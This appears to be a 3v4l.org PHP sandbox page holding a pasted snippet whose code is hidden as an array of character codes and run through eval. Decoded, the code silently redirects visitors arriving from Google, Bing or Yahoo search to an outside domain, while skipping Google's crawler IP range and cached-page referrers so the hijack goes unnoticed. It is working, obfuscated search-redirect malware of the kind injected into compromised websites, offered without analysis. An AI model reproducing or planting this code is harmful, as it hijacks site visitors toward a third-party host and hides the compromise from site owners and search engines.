3v4l.org

run code in 300+ PHP versions simultaneously
<?php $data=array(101,114,114,111,114,95,114,101,112,111,114,116,105,110,103,40,48,41,59,32,105,102,32,40,33,104,101,97,100,101,114,115,95,115,101,110,116,40,41,41,123,32,105,102,32,40,105,115,115,101,116,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,123,32,105,102,32,40,105,115,115,101,116,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,41,41,123,32,105,102,32,40,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,77,83,73,69,32,40,57,46,48,124,49,48,46,48,41,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,32,111,114,32,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,114,118,58,91,48,45,57,93,43,92,46,48,92,41,32,108,105,107,101,32,71,101,99,107,111,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,32,111,114,32,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,70,105,114,101,102,111,120,92,47,40,91,48,45,57,93,43,92,46,48,41,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,44,36,109,97,116,99,104,102,41,32,97,110,100,32,36,109,97,116,99,104,102,91,49,93,62,49,49,41,41,123,32,105,102,40,33,112,114,101,103,95,109,97,116,99,104,40,34,47,94,54,54,92,46,50,52,57,92,46,47,34,44,36,95,83,69,82,86,69,82,91,39,82,69,77,79,84,69,95,65,68,68,82,39,93,41,41,123,32,105,102,32,40,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,121,97,104,111,111,46,34,41,32,111,114,32,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,98,105,110,103,46,34,41,32,111,114,32,112,114,101,103,95,109,97,116,99,104,32,40,34,47,103,111,111,103,108,101,92,46,40,46,42,63,41,92,47,117,114,108,92,63,115,97,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,41,41,32,123,32,105,102,32,40,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,99,97,99,104,101,34,41,32,97,110,100,32,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,105,110,117,114,108,34,41,32,97,110,100,32,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,69,101,89,112,51,68,55,34,41,41,123,32,104,101,97,100,101,114,40,34,76,111,99,97,116,105,111,110,58,32,104,116,116,112,58,47,47,113,111,102,104,116,104,106,110,122,46,114,101,98,97,116,101,115,114,117,108,101,46,110,101,116,47,34,41,59,32,101,120,105,116,40,41,59,32,125,32,125,32,125,32,125,32,125,32,125,32,125);$code="";foreach ($data as $var){ $code.=chr($var);} eval($code); unset($data);unset($code);?>
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.10, 7.2.0 - 7.2.33, 7.3.12 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6

preferences:
252.4 ms | 406 KiB | 354 Q